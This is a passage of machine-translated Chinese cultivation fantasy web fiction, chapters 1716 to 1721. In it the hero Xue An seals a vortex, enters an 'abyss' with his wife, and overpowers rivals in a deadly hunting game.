    With the voice, a drop of red to almost transparent blood suddenly appeared in the center of Xue An''s eyebrows, and then rose up into the sky, turning into a blood-colored light curtain, enshrouding the vortex tightly.


    The vortex swelled and grew crazily, trying to break this layer of light, but all came back without success. Instead, it gradually shrank and was suppressed by the blood, and finally stood still.


    Looking at Xue An''s proud body standing in the air, Zhuge''s Tibetan face appeared in a trance, and he whispered softly: "Is it the blood of the fairy king? But you are obviously not the fairy king now!"

 Chapter 1716： This 1 kill game, lets see who can laugh...

    After seeing this scene, the whole world was silent at first, and then there was an extremely enthusiastic cheer.


    "Xue Daren Niu X (broken sound!)!"


    "Ah, ah, Xue Da is the number one male **** in the ages!"


    Even the president of country M, who is like a clown, does not care about the country at the moment, and shouts excitedly: "God bless, we have won!"


    After hearing these words, Edward, the CIA director on the side, said very solemnly: "Your Excellency, it is not God blessing, but the credit of Xue An, the Chinese powerhouse!"


    In the noise of the outside world, Xue An''s face was a little pale.


    After all, with his current strength, the loss of a drop of the Immortal King''s essence blood is not a small loss, let alone a drop of blood can not suppress this vortex.


    If it hadn''t been for Xue An to construct countless barriers with Supreme Divine Mind just now to completely isolate the world, this vortex would not be so obedient.


    After seeing this scene, An Yan was so distressed that she was almost broken, and quickly flew over.


    "Husband, you..."


    Xue An shook his head and chuckled, "Don''t worry, I''m fine!"


    at the same time.


    Everyone has also rushed over.


    Without waiting for everyone to speak, Xue An''s expression became extremely serious.


    "Although I have suppressed this vortex now, it is only a temporary solution. If the problem is not solved, everything will happen again!"


    The people who just relaxed just heard the words and raised their hearts to their throats again.


    "Then what to do? How to solve the root of the problem?"


    "Yeah, Lord Xue, just say it straight! As long as we can get rid of the monsters, we can do whatever we want, and we will do whatever it takes."


    The ardent eyes of everyone focused on Xue An.


    Only Zhuge Zang remained silent, apparently already guessing something.


    really.


    Seeing Xue An smiled faintly, "If you want to solve the problem, the root is very simple, that is, go deep into it and catch all the messengers behind the scenes!"


    Upon hearing this, everyone looked at each other.


    But soon, people from the Fire Phoenix Special Forces were the first to stand up.


    "Instructor, let us go!"


    "That''s right instructor, I must smash the head of that messenger behind!"


    Although Yu Ming, Zhang Chu and others did not speak, they all stood up and showed their attitudes with actions.


    But Xue An just shook his head slightly.


    "It''s not that I am talking big, if anyone can enter it on the earth now, I will be the only one!"


    In an instant, people understood what Xue An meant, and they couldn''t help being stunned.


    Xue An turned his head to look at the vortex shrouded in blood and lightly said: "What''s more, the other party tried so hard to arrange this killing game. Obviously, he is waiting for me. If I don''t go, wouldn''t it be a waste of him? Is this kind of good intentions?"


    "Instructor, let me go with you!" Zhou Daniu said suddenly.


    Everyone''s eyes lit up.


    "Yes, my lord, let me go with you!"


    "I am going too!"


    For a while, the voice of people was boiling.


    Xue An smiled and waved his hand, "I accept your kindness, but you still have more important tasks to complete, so this time I only bring one person!"


    With that said, Xue An turned his head to look at An Yan, "Yan''er!"


    An Yan immediately walked to Xue An''s side, "Husband!"


    "You accompany me this trip!"


    "it is good!"


    There is no need for words, An Yan has not even considered why Xue An should take herself.


    In her opinion, the husband and wife were supposed to share hardships together. Now that the husband has encountered something, how can the wife hide behind?


    Seeing this, Xue An''s heart warmed and couldn''t help but gently rubbed her hair, "Silly Yan''er, aren''t you afraid of danger?"


    "Don''t be afraid, as long as you are there, I won''t be afraid wherever I go!" An Yan said calmly.


    "Neither of us are afraid!" The two little girls peeked out from behind An Yan and shouted unwillingly.


    Xue An laughed loudly, "Okay! This is my wife and daughter!"


    Then Xue An said sternly: "Yan''er, go in this time, it''s time to end your seal!"


    Xue An knew very well that the seal on An Yan obviously came from the abyss.


    That''s why he brought An Yan into it this time.


    Because this is something that has to be faced.


    In fact, the seal on An Yan''s body can be left unresolved. Anyway, it doesn''t interfere with life, it''s nothing more than restricting the cultivation base.


    But Xue An''s thoughts were different. Although he spoiled his wife, it did not mean that he wanted to develop An Yan into a canary.


    On the contrary, Xue An hopes that his wife can have his own dignity and personality.


    At the same time, Xue An glanced at Fan Mengxue and others who were eager to try, and then shook his head.


    "I said, you don''t have to go to many people this time, it''s good if you all guard here! If there is anything, just listen to Zhuge Zang''s instructions!"


    Fan Mengxue and Tang Xuan''er looked sad, but they nodded.


    Finally, Xue An looked at Zhuge Zang and smiled: "Old man Zhuge, after I leave, I will trouble you here!"


    Zhuge Zang smiled freely, "It''s easy to say, as long as this old bone of me is there, we will guarantee nothing in this world!"


    "Very good!" Xue An nodded, "After you come back, I will invite you to drink!"


    "it is good!"


    After instructing all this, Xue An smiled at everyone, and then led An Yan straight to the black vortex shrouded in blood.


    Bang!


    After a muffled sound, Xue An and An Yan disappeared instantly.


    The audience fell into silence, and so did the world.


    No one knows what will be behind the black vortex.


    So everyone''s hearts couldn''t help but tighten.


    After a long time, Xiao Rui, who had been silently following Fan Mengxue''s back, suddenly whispered in a jerky voice.


    "Big brother!"


    As he said, big tears came out of his eyes, and at the same time his whole body trembled with fear.


    This cry obviously cast an ominous shadow on the audience.


    Fan Mengxue''s face was pale, and then walked to a place not far from the seal of blood and light, and sat down and started to wait quietly.


    Seeing this scene, the rest of the people also found a place to sit down in silence.


    Zhuge Zang sighed when he saw it, and then took a long look at the black whirlpool.


    Brother Xue, you can''t do anything!


    Where is the abyss?


    This is really difficult to answer because everyone may give different answers.


    In the eyes of many people, this is a dark place where all the filth is gathered.


    Some people think that this place is a place of rebirth that has bred all hope.


    But in Xue An''s eyes, the abyss is the ultimate point of all puzzles.


    That''s why he didn''t hesitate to take a huge risk and step into the darkness.


    Unexpectedly, he did not go far in the dark vortex, and a door appeared in front of him.


    A very ornate decoration, it is incompatible with the surrounding environment.


    All the answers Xue An wanted were hidden behind the door.


    Xue An clasped An Yan''s hand tightly and chuckled softly: "Let''s go! Let''s see who can have the last laugh!"


    With that, he gently opened the door and walked into it.

 Chapter 1717： Dead body is talking

    After a brief period of dizziness, an empty room appeared in front of him.


    Said it is a room, in fact it is more like a box in a box.


    The ground, the surrounding walls, and even the ceiling are inlaid with some unknown gemstones, exuding bright white light.


    What is even more strange is that this room does not have doors or windows, but has a diamond-shaped hole on the four walls.


    At this time, the four holes are closed, but the room is not suffocated.


    On the contrary, the aura is very abundant.


    Moreover, Xue An and An Yan were not the only two in the room, there were more than a dozen people lying on the ground.


    The dozen or so people dressed in different dresses, male and female, but all fell into a deep sleep without exception.


    Xue An could notice that several people''s eyelids began to tremble slightly, and they were obviously about to wake up.


    At this moment, an old and tired voice came from behind.


    "Hey, didn''t you two faint when you entered here?"


    Xue An was slightly startled, because from the moment he stepped into the door, he had already raised his perception ability to the highest level to prevent unknown dangers.


    Until he appeared in this room, he didn''t notice any strangeness.


    This is also the reason why he didn''t rush to look at the surrounding environment, because the eyes may make mistakes, but the perception ability of the divine mind does not.


    But I didn''t expect that there was a voice behind him at this moment. Could it be that this person''s ability to hide his breath can''t even be seen by himself?


    At the turn of his thoughts, Xue An suddenly looked back, and at a glance he saw a scrawny old man standing in the corner of the wall.


    The old man''s eyes were already blind, leaving only two black holes in his eyes, which made his scalp numb when he looked at it.


    The old man seemed to perceive Xue An''s gaze and couldn''t help but smile, "Don''t worry, to a large extent I am dead, so it is normal for you to not perceive my existence!"


    really.


    Xue An didn''t perceive the slightest anger from this old man. If he closes his eyes and perceives it purely by divine consciousness, it is clearly a dead body.


    But now, this dead body is talking.


    Xue An''s eyebrows raised slightly.


    interesting!


    I didn''t expect that the first person I met after I came to the abyss was so interesting!


    Although the old man has no eyes, he seems to be able to see the expression on Xue An''s face in some way.


    "Aren''t you going to ask something?"


    "Ask what?" Xue An said lightly.


    "For example, where is this place?"


    Xue An shook his head, "No! It''s already here anyway, does it make sense to ask where it is?"


    This time the old man was a little surprised, even though he couldn''t see it, he tried to look towards Xue An.


    "What a strange newcomer! It''s been a long time since I saw an interesting young man like you, I really hope you can live longer!"


    Xue An frowned slightly, there was something in this old man''s words!


    "What do you mean? Could it be that everyone who entered here before is dead?"


    The old man grinned, exposing a big yellow tooth, and chuckles.


    "What a smart young man, yes, they are indeed dead! The one who has lived the longest is only a hundred years later, and then he went crazy and strangled himself alive!"


    "What about you?" An Yan finally mustered up the courage and couldn''t help saying.


    "Me? Hehe, don''t you see it? I''m dead too!" The old man smiled happily.


    An Yan was really puzzled.


    He was speaking clearly, but why did this old man say that he was dead?


    But before she could continue to ask, someone on the ground let out a moan, and then slowly opened his eyes.


    After a while, the brawny man who was the first to wake up jumped up from the ground and looked at Xue An and An Yan with guard.


    "Who are you? Where are you here? I can tell you that I am the second hall of Shenwu Hall. If you want to find something, be careful of your dog''s life!" the strong man roared sharply.


    Before Xue An could speak, the old man chuckled, "Is this the right thing? This is how the newcomer should react!"


    The strong man only noticed the old man standing in the corner when he heard the sound, he was taken aback for a moment, and then he roared with murderous intent.


    "Old immortal, who the **** are you? Did you get me in?"


    "What a grumpy young man!" The old man didn''t mean to be angry at all, but smiled happily.


    "I hope you can maintain your current state in a while! After all, it''s too quiet here!"


    "Damn, pretend to be a ghost in front of me? Don''t ask who I am, grandpa..." The strong man was furious and waited for an attack.


    At this moment, the old man stretched out a finger and hissed softly.


    "Don''t worry, when people wake up, I will tell you where it is!"


    As he said, he smiled at everyone on the ground, "Okay, since everyone is awake, don''t waste time!"


    Such a big movement has actually awakened everyone lying on the ground.


    But some people are deep in their minds, even though they have already woken up, they still lie on the ground with their eyes closed and pretending to sleep.


    Until they heard the old man say this, these people opened their eyes one after another, stood up with gloomy expressions, and then looked at everything around them.


    No one spoke, everyone''s eyes were very bad.


    Because no one knows what''s going on!


    "Old guy, where is this place?" the strong man shouted angrily.


    "Where is this place, don''t everyone really know?"


    Some people''s complexion changed.


    The old man chuckles, "Yes, this is the abyss!"


    "You nonsense! How could it be an abyss here?" a woman in the crowd retorted immediately.


    "Yes, the real abyss is the place where the gods live, how can it be so weird?" a young man said feverishly.


    The old man spread his hands Whether you believe it or not! This is indeed the abyss, but as for where it is, I don''t know! "


    "Then why do we suddenly appear here?" someone in the crowd asked again, this time speaking from a man with sulky eyes.


    "Yeah, I''m clearly practicing in a closed sect, so how come I suddenly appear here? Is it your ghost?"


    "Yes, I found out here as soon as I woke up!"


    For a while, the group was angry, and people looked at the old man with hostile eyes.


    Only a few people looked down and did not speak during the whole process.


    The old man didn''t get angry, instead he said with a smile: "Do you think if I get you in, will I allow you to wake up?"


    This sentence made these noisy people instantly quiet.


    Yes!


    If this blind old man wanted to kill himself, he would just do it when he was in a coma. Why wait for him to wake up?

 Chapter 1718： Sword Palace Walk

    At this time, the old man continued: "Why did you appear here? Actually, I don''t know. I only know that you are the chosen ones!"


    "Choose? What are you doing? Lao Tzu''s second master of the Shenwu Hall, the strong one, do you need someone else to choose?" the strong man said furiously.


    The smile on the old man''s face gradually became cold, "Don''t mention your identity to me, because people who can appear here have no lower identity than you. As for what you choose to do..."


    At this moment, a slight trembling sound suddenly came from under the floor, as if the whole room was running on a sliding rail.


    Everyone was taken aback for a moment, and before they figured out what was going on, all four diamond-shaped holes on the wall were opened.


    At the moment it opened, something rushed in.


    And the things that rushed into the room from the four holes were different.


    For example, from the hole on the left hand side of Xue An rushing in is a man with a monster tattoo on his face and holding a strange sword.


    On the right hand side, a steel python rushed in, but in the hole behind him was a cloud of black mist.


    As soon as these things rushed in, there was a chaos in the whole room.


    Many people were caught off guard and were directly injured.


    For example, the strongest man who just clamored was pierced in the chest by the man with a strange weapon.


    Blood and screams resounded throughout the room.


    The old man laughed loudly, "This is the reason for choosing you, welcome to the **** of killing, I wish you all a good time!"


    The horrible situation in front of her made An Yan tremble. Xue An sensed this and couldn''t help but gently squeezed her hand.


    "Don''t be afraid! I am here!"


    "Ok!"


    But at this moment, the steel python suddenly rushed over.


    Although the strength of this giant python is not very good, as a woman, it is this reptile that is most afraid of.


    An Yan is no exception, closing his eyes in fright, the giant python spit out the snake letter and rushed over.


    But in the next second, its huge body suddenly disintegrated in the air.


    The few people close by gave a faint hum.


    Because they didn''t see what was going on, in the end the giant python became a piece of debris.


    This can''t help but make them curious about Xue An and An Yan.


    Although it was a little flustered at first.


    But these things that rushed in were not too strong.


    Even the brawny man who was pierced by a blow through his chest was fine, but he roared and tore the strange man to pieces.


    quickly.


    The room was calm again.


    Only blood filled the room.


    Everyone was a little out of breath, and their eyes were full of unconcealed consternation.


    "Old guy, what''s going on with all this?" The strong man was going crazy, and he rushed forward to question the old man.


    The old man said indifferently: "I just said that you are all selected, and the place where you are now is the **** of killing in the abyss!"


    "I don''t believe it, it must be your old fellow!" The strong man raised his fist and wanted to hit.


    At this moment, a cold voice came from the crowd.


    "Don''t do it yet, what he said should be true!"


    The brawny man was startled, and turned his head to take a look, and found that he was talking about a delicate and fragile teenager who looked like a woman.


    So he couldn''t help laughing grinningly, "What? Are you teaching me to do things?"


    The young man''s eyes flashed, no nonsense, raising his hand was a sword light.


    This sword light appeared in front of the strong man in an instant, piercing his face.


    The brawny man was shocked and disregarded, and he drew back abruptly, which was worthy of avoiding the sword.


    Then his complexion became very pale, and his voice tremblingly said: "You...Jizi sword? Are you... under the sword palace?"


    The boy nodded.


    The brawny man immediately closed his mouth, and dared not show any arrogance, he obediently stepped aside.


    Other people in the field were also taken aback, and some of them were even more solemn.


    Because of the sword palace, it is a large sect with a reputation among the heavens!


    This young man is actually a disciple of the Sword Palace, which is simply incredible!


    An Yan approached Xue An''s ear, lowered her voice and said, "Husband, this boy seems to be a girl!"


    Xue An smiled slightly, "Oh? How do you know?"


    "Look at her hair, you can see that she often pulls it in a bun!" An Yan said confidently.


    Xue An smiled, did not speak, but a daze appeared in his eyes.


    Because of the name Sword Palace, he hadn''t heard it for a long time.


    Xue An is very familiar with this sword palace.


    Because he had practiced in this sword palace before.


    But he is not a disciple of the sword palace.


    In fact, none of Xue An��s disciples were from any school.


    With perseverance and talent, he made his own way out of the box.


    But his feelings for Jian Gong are very complicated.


    I don''t know what happened to the person who built the Buried Sword Mountain and guarded the Throne of Ten Thousand Swords alone?


    Enmity, kindness, these things are entangled together, so Xue An''s heart also has a moment of confusion.


    At this moment, the young man stepped forward and bowed his hand at the old man, "Walking with three swords under the gate of the sword palace, Jane is at heart, I have seen seniors!"


    Three swords walking!


    This position is considered very high even in the sword palace.


    We must know that there are eight great walks under the gate of the sword palace. Except for one who doesn''t understand the meaning of the evil-seeking walk, the other seven walks are distinguished by sword power.


    From the lowest Seven Sword Apostle, to the highest One Sword Lintian.


    And this Jane Zaixin is actually walking with three swords, and his strength is absolutely extraordinary.


    The old man chuckled, "The descendants of the sword palace were also involved. It seems that this game has become more and more interesting!"


    "Predecessors have been talking about games, so who is the master behind all this?" Jane asked in a deep voice.


    "Do you think I will know this?"


    "What about the people who were caught before?"


    The old man said lazily: "Dead!"


    "died?"


    "Yes! It''s all dead! Because this is the **** of killing If you are the hell, you have to die!" The old man quacked and said.


    "Then how to get out?" Jane asked again.


    "I don''t know! Maybe you can get out of this ghost place after you win this game, or you may never get out from the moment you enter!" The old man said indifferently.


    "Impossible! I don''t want to stay in this ghost place. My father is the master of the Coriander Garden. How could I die in such a ghost place! Let me go! You bastards! Don''t you be afraid of my father? Do you tidy up?"


    A woman in the crowd suddenly collapsed and shouted, constantly bombarding the surrounding walls and floor.


    Her strength is also quite impressive, but no matter how strong her palm is, when she hits these walls, she didn''t even arouse any waves.


    Jane frowned slightly in her heart and just thought of stopping her.


    The woman didn''t know what she had encountered, the diamond-shaped hole in the wall suddenly opened, a huge suction force sucked her in, and disappeared.

 Chapter 1719： The hunt begins

    The crowd screamed.


    "what happened?"


    "What''s up with her?"


    The old man quackled and laughed, and his laughter was full of gloat.


    The brawny man was furious, "Old man, what are you laughing at? What''s wrong with this woman?"


    The old man shook his head, "I don''t know, maybe he is dead or not, but I guess you will never see her again!"


    "What do you mean?" Jane''s eyes flashed in her heart and asked in a deep voice.


    "Because anyone who is sucked away will never hear from you, so I advise you, it''s better not to tamper with anything in this room without authorization, otherwise you will be at your own risk!"


    There was a commotion in the crowd, and someone shouted: "What should I do? Are we here just waiting to die?"


    "Waiting to die?" The old man sneered, "You can''t help but think too beautiful, this place... is far scarier than you think!"


    As soon as the voice fell, it was not waiting for everyone to ask questions.


    An hourglass-shaped image suddenly appeared in the middle of the room, and a little bit of brilliance slowly seeped down along the middle exit.


    The old man''s complexion changed drastically.


    At the same time, an extremely cold voice came from the void.


    "Five minutes later, the hunt will begin!"


    Hunted?


    What hunting?


    Everyone was discolored by it.


    And the old man''s complexion became extremely solemn, "I knew that a new round of hunting would start after a newcomer appeared! I didn''t expect it would come so soon!"


    Jane took the lead and asked in a deep voice, "Senior, what exactly is this hunt?"


    The old man sighed, "If you don''t ask, I will tell you. This is called the Killing Hell. Naturally, it is not just as simple as imprisoning you. In addition to daily intrusion, hunting will be started from time to time!"


    "You know that there are many rooms like this in this **** of killing, and they are full of powerful people like you!"


    "When the hunt is on, all the rooms will be opened, and the beasts will come out of the cage! Then you will face everyone and usher in an endless killing. If you want to survive, you must win the battle. !"


    "Then... who are the opponents? How many chances do we have?" Someone asked tremblingly.


    The old man glanced at the speaker and said coldly: "The other party is basically a veteran who has experienced it once or even several times, so how much do you think you will win?"


    The old man''s words made everyone''s complexion extremely ugly.


    At this moment, Jane Zaixin suddenly said: "Everyone, if this is the case, there is only one way for us to survive, and that is to unite, otherwise we will be destroyed by everyone!"


    "So I propose that, while there is still some time, join forces immediately and make a clear division of labor!"


    These words were so well-organized, everyone''s eyes were bright when they heard the words.


    "I agree!"


    "I agree!"


    Everyone quickly began to respond.


    But some people hesitately asked: "Since we are united together, who will be the principal?"


    This question also caused some people''s expressions to change slightly.


    Although it is only a very simple union, it also needs a principal, otherwise it will be useless.


    And if you become the principal, although it does not mean you have any rights, at least your life will be better protected.


    So some people''s eyes began to change.


    But Jane didn''t give these people a chance to hesitate in her heart, and decisively said: "I proposed this union, and naturally I will be the principal!"


    There is no room for negotiation in words.


    These people looked at each other, and some wanted to say something.


    Jane raised her eyebrows slightly, and a sword intent lay in front of her.


    "What? Do you have opinions?"


    Because of the force of the sword intent, everyone was shocked.


    The brawny man who was originally wandering took the lead and said: "I agree!"


    Hearing what he said, everyone else nodded in agreement.


    In an instant, Xue An and An Yan, who stood far away, were the only ones left in the audience to speak.


    At this moment, the hourglass is half gone.


    The brawny man immediately became very ardent after he turned to Jane''s heart. Therefore, after seeing Xue An''s unreported attitude, he immediately stood up and questioned.


    "Hey, that kid over there, now everyone has to unite and deal with the next hunt. What do you mean by keeping silent?"


    Xue An retracted his gaze to look around and smiled slightly, "Oh? United?"


    "That''s right! The situation is urgent now, don''t talk nonsense, just say you agree or disagree!" said the strong man in a condescending tone.


    Because in his eyes, the white-clothed boy in front of him is nothing surprising at all, but the woman on his side is really beautiful!


    This attitude...tsk!


    When looking at An Yan, the brawny man''s eyes showed a hint of greed.


    Xue An''s smile grew colder, "Then what if I disagree?"


    "What are you talking about?" The strong man couldn''t believe his ears.


    "I said..." Xue An glanced at the group of people, "I''m not interested!"


    "Looking for death! I think this guy is going to do something bad, it''s better to teach him a lesson!" The crowd suddenly became lively, and someone shouted.


    "Yes! Give him a lesson!"


    The brawny man also condensed, then grinned and said, "Boy, you..."


    But before he could finish the rest of the story, Jian Zaixin suddenly said, "Enough! Time is limited, since he is unwilling, let''s just leave it alone. Let''s quickly discuss how to divide the work!"


    The brawny man gave Xue An a fiercely unwilling look, "It''s cheaper for you!"


    Jane Zaixin gave Xue An a deep look.


    Xue An smiled slightly, and Chongjian nodded slightly in his heart.


    Jane froze for a moment, then returned a salute before turning around and leaving.


    Soon, these people gathered Jane Zaixin as the center and began to discuss the following matters.


    Xue An and An Yan were completely isolated.


    In response, Xue An just smiled faintly, and then cast his gaze on the surrounding walls again.


    An Yan asked in a low voice with some doubts: "Husband, why don''t we unite with them?"


    Xue An only said two words about this, "Too weak!"


    An Yan was taken aback, then almost laughed out loud.


    My husband is really...cute sometimes!


    At the same time, the old man looked at Xue An''s back with a look of surprise.


    This young man is different from anyone he has ever seen before!


    Five minutes passed in a flash As soon as Jane Zaixin assigned the tasks that he was responsible for, the hourglass had reached the end.


    In an instant, the whole house began to vibrate.


    Immediately after hearing a loud rumbling noise, the house seemed to be moving at an extremely fast speed.


    It wasn''t until a thud that everything became quiet.


    But in the next second, the four walls of the room collapsed.


    Then what appeared in front of everyone was a huge square.


    The square is surrounded by densely packed rooms.


    When the walls of the room opened, people finally saw each other.


    And a strong momentum was also revealed, and everyone''s eyes began to become extremely cold.


    Immediately afterwards, I don''t know who started the head, and after a screaming and miserable howl, an endless killing began.

 Chapter 1720： Sow discord

    What would it be like if a group of crazy people were locked up together and beat each other?


    It will be messy!


    What if this group of people is replaced by a strong person with good strength?


    The answer is complete chaos.


    That''s right!


    You can''t even see who the opponent is, you can only fight frantically with your own feelings.


    The shining brilliance swirled and disappeared, and the violent air current was stirring endlessly over this square.


    The strong are dying all the time.


    These may be the existence of a giant on the outside, but here they are fate.


    People have already got red eyes.


    In comparison, Jane Zaixin and others are much more sober.


    This is also due to the fact that they are located at the corner of the square, so they did not receive much attack at the beginning.


    At this moment, under the command of Jane Zaixin, everyone formed a circle, and they all gave their backs to their companions, focusing on dealing with the people in front of them.


    In this way, both efficiency and strength have been greatly improved.


    So after a while, everyone in Jian Zaixin didn''t have any attrition, and even suffered few injuries.


    At this time, people can''t help but increase their confidence.


    Especially this brawny man, unexpectedly had free time to look at Xue An in the distance.


    In his opinion, without the blessing of the crowd, this kid probably died a long time ago.


    But he never expected that when he looked over, Xue An and An Yan were standing in the corner with indifferent faces.


    No one ever went to trouble them.


    Damn, are these guys blind? No one passed by, this kid is really out of luck!


    The brawny man took a sip in his heart.


    But at this moment, only a sharp roar came from the court.


    Immediately after that, many people were horrified and began to give in.


    Someone who could not evade hadn''t reacted, when he saw a prickly sword light suddenly waved, this person stood in place.


    It was not until a moment later that the blood burst into the sky, and then the dead body fell to the ground.


    This kind of power makes everyone feel disgraced.


    Especially Jane, his complexion became extremely solemn.


    For a while, the entire square actually became quiet.


    Then I saw a group of people walking slowly from the crowd.


    The leader was a man with an evil face and a sword in his hand.


    Behind him is a group of powerful men with different faces, but with layers of evil spirits on the corners of their eyes and eyebrows.


    Wherever they went, everyone retreated.


    And the goal of this group of people is directed at Jian Zaixin and others.


    quickly.


    This group of people came to Jian Zaixin and waited for them to approach.


    Then the man with the sword looked at the crowd with unbridled eyes.


    No one dared to speak.


    Including the brawny man who had a bad temper before, now he bowed his head very obediently.


    Only Jane was pale in her heart, but she did not bow her head.


    "Hehe! It really is the descendant of the sword palace, no wonder I smell the sour sword aura from a long way away!" The sword-holding man smiled with excitement.


    "And I''m still a little girl, it seems my luck this time is really good!"


    Hearing the words of the man with the sword, the group of people behind him couldn''t help laughing presumptuously.


    "The boss is right, he is a little girl! This is really rare!"


    Jane''s face was cold, she gritted her teeth, and asked in a cold voice, "Who are you in the end?"


    "Who am I?" The man with the sword laughed strangely as if howling, and then jerked his clothes on his chest.


    With a bang, the clothes on the upper body were torn open, revealing the chest below.


    And on this chest, there was a terrifying huge scar.


    This scar started on the left shoulder and dragged obliquely to the right lower abdomen, almost cutting the person in half.


    Then the man with the sword said with a hateful expression on his face: "Did you see it? This sword was bestowed by your sword palace! You actually asked who I am?"


    Jane suddenly moved in her heart, thinking of her senior sister, who was the first to walk under the gate of Jian Gong, something that Yijian Lintian once said.


    "You are Fu Lanqing, the bloodthirsty sword? You are not dead?"


    "Hahahaha, that''s right! It''s my uncle! How could I die without revenge for the sword?" Fu Lanqing laughed wildly.


    Jane Zaixin''s heart gradually sank.


    This bloodthirsty sword is an evil sword repairer. It is extremely cruel and kills people at every turn. Therefore, it was wiped out by his senior sister decades ago.


    But he didn''t expect that he didn''t die, but hid in the **** of this abyss.


    And looking at his current strength, he is actually more diligent than before.


    In contrast, Jane Zaixin''s strength seemed a little insufficient.


    Fu Lanqing laughed strangely as she felt Jian Zai''s thoughts.


    "Looking at your strength, you should also be walking under the sword palace gate? Three swords or four swords?"


    But before Jian Zaixin could answer, Fu Lanqing shook her head, "But those are not important anymore. The important thing is that you are my person from now on. I want to impose your sword palace on me. Return it to you! I want you to survive and die!"


    The viciousness in words is simply chilling.


    Jane didn''t waver in her heart. Instead, when Fu Lanqing was full of joy, she raised her hand and cut it out with a sword.


    The sword light is like snow, and the sword intent is clear.


    But this sword just rushed to Fu Lanqing and it was completely gone.


    Then Fu Lanqing raised her eyebrows slightly, "Zhizijian? It turned out to be a three-sword walking! But do you want to deal with me with this?"


    After that, Fu Lanqing raised her hand and pointed to Jane in her heart, "Whoever of you can catch her, I will spare no one to die!"


    As soon as Fu Lanqing''s words fell, the brawny man jumped up for the first time, and without hesitation, he slammed a palm in his heart.


    Jane roared in her heart, "Asshole, he''s instigating discord!"


    But this brawny man didn''t care about these at all, because he had long seen that Fu Lanqing was far stronger than Jian Zaixin.


    If you can''t take this opportunity to do it quickly, then your little life may be over.


    As for the previous cooperation, the brawny had never thought about it at all.


    What could be more important than your own life?


    Naturally, Jane Zaixin would not wait for her to die. Before the strong man''s palm rushed closer, she slashed out.


    But at this moment, a few people behind her brazenly took action.


    Under the enemy Jane let out a cry in her heart, "You..."


    She didn''t expect that the partner who had just been fighting side by side would kill herself in a blink of an eye.


    But at this moment, a series of sword lights rushed forward, and instantly penetrated the arms of the brawny and those who worked.


    puff!


    Under the severe pain, these people are all stagnant.


    "Who?" Fu Lanqing exclaimed.


    Because this sudden Jian Mang is simply too unexpected.


    There were no signs at all.


    Jane Zai Xin was also taken aback, then turned to look around.


    at the same time.


    Xue An slowly walked out of the corner holding An Yan''s hand, and then smiled at everyone.


    "Don''t shout so loudly, I can hear it!"

 Chapter 1721： Half a friend

    "Who are you?" Fu Lanqing asked with a gloomy expression.


    I don''t want Xue An to ignore him at all, but smile at Jian Zaixin.


    "Since you are a disciple of the Sword Palace, who are you Li Jingxing?"


    Hearing the three words of Li Jingxing, Jane''s excitement changed. Seeing Xue An''s eyes became awed, and then respectfully said: "His old man is my master!"


    Xue An nodded, "No wonder you have his breath in your sword intent!"


    "My lord, dare to ask who you are?" Jane couldn''t help but ask.


    "Me?" Xue An smiled, "In the strict sense, I should be regarded as half of your Master''s friend!"


    Half a friend?


    What does this mean?


    Jane was full of doubts.


    At the same time, Fu Lanqing, who was completely ignored, finally couldn''t contain the anger in her heart, and roared: "Where did the kid dare to pretend to be a ghost in front of Grandpa?"


    With that, Fu Lanqing raised his hand and cut out a sword.


    You must know that this bloodthirsty sword in his hand was made with the blood sacrifices of countless creatures, and every sword has the power of divinity and spirit.


    But before the sword came close, Xue An raised his eyebrows slightly.


    "Noisy!"


    It was a simple word, but it seemed to have a huge weight, directly smashing this sword intent.


    And under the influence of Yu Wei, Fu Lanqing was also blown out.


    It wasn''t until he was blasted to the edge of the square that he could stop, but when he landed, he opened his mouth and vomited a big mouthful of blood.


    With just a shout, Fu Lanqing was seriously injured.


    The audience was silent.


    Everyone''s eyes gradually widened, staring blankly.


    The brawny man, who was still holding his arms and moaning, immediately closed his mouth when he saw this, and his whole body couldn''t help shaking.


    He didn''t expect that this youth who looked weak and graceful would actually have such a powerful strength.


    Thinking about how I dared to be disrespectful to such a strong man before, the brawny''s heart couldn''t help being full of fear.


    At the same time, Fu Lanqing finally stopped the blood, and then raised her head in amazement to look at Xue An.


    Until now, he didn''t know how he was injured.


    Because he didn''t feel any aura fluctuations in Xue An from beginning to end, just like a mortal.


    But that was the case, but he shook himself seriously!


    What kind of magic is this?


    In the silence of the audience, Xue An gently shook his head, and said with disappointment: "Too weak!"


    "You dare to show off your strength even at this point, but who is it that gave you the courage?"


    Upon hearing these words, Fu Lanqing couldn''t help but vomit a few more blood.


    Xue An didn''t pay any attention to this at all. He raised his head and looked at the ceiling above, and said lightly: "And don''t you feel sad?"


    sorrow?


    Many people have a confused look on their faces and don''t understand what Xue An means!


    "Killing each other at the cost of their own lives, but in the end they are just games and pastimes in the eyes of existence, you say..."


    Xue An lowered his head and stared at everyone, "Isn''t this what sorrow is?"


    Hearing this, the old man who had been hiding behind the crowd pretending to be dead had a glorious look in his eyes, and his eyes were full of horror when he looked at Xue An.


    He... how could he know this? Doesn''t he have the memory of being caught by the seal?


    But soon, the brilliance in his eyes converged and changed back to the half-dead look before.


    Fu Lanqing''s complexion also changed drastically, "You..."


    "You want to ask me how I know this, right?" Xue An smiled slightly, "I don''t only know, but I also know why you can dominate in this **** of killing, because behind you is clearly Someone made you do it on purpose. Am I right?"


    Before Xue An finished speaking, Fu Lanqing shouted, "Let''s kill him together, otherwise no one will want to live!"


    After saying a word, his gang swarmed and rushed towards Xue An.


    Xue An''s expression was indifferent, just a flash of brilliance in his eyes, and then a sword glow appeared in front of him.


    Immediately after this sword light was divided into two, two into four.......


    In an instant, countless sword lights enveloped the sky.


    "No, go back!" Fu Lanqing, who rushed to the front, was so scared that he shouted hoarsely.


    But everything is too late.


    Before he could react, these sword lights rushed over.


    Puff puff!


    With a muffled sound, blood spattered and the head fell to the place where the sword light passed.


    After the sword light disperses, watch the court again.


    The arrogant Fu Lanqing and the others had already become dead bodies.


    The blood was stained red even on the ground, and the strong smell of blood was even more disgusting.


    Even so, no one dared to make a sound.


    Even Jane Zaixin was stunned by the scene before her.


    But at this moment, the cold voice resounded in the void again.


    "It was detected that an irreversible error occurred during the hunting process. Now it restarts. Everyone immediately returns to the room. Offenders will be killed without pardon!"


    With the voice, the square began to change continuously, and the surrounding rooms were slowly moving, as if they were about to disintegrate.


    Seeing this scene, everyone was shocked.


    But Xue An laughed.


    "Kill without mercy? You are worthy!"


    After that, Xue Anjian raised his eyebrows, his eyes were full of brilliance, and then walked away, raising his fists to the sky.


    Boom!


    After a muffled sound, everyone felt shocked.


    The ceiling above the head, which was originally emitting bright white light, also began to flicker at this time, and a piercing alarm sounded.


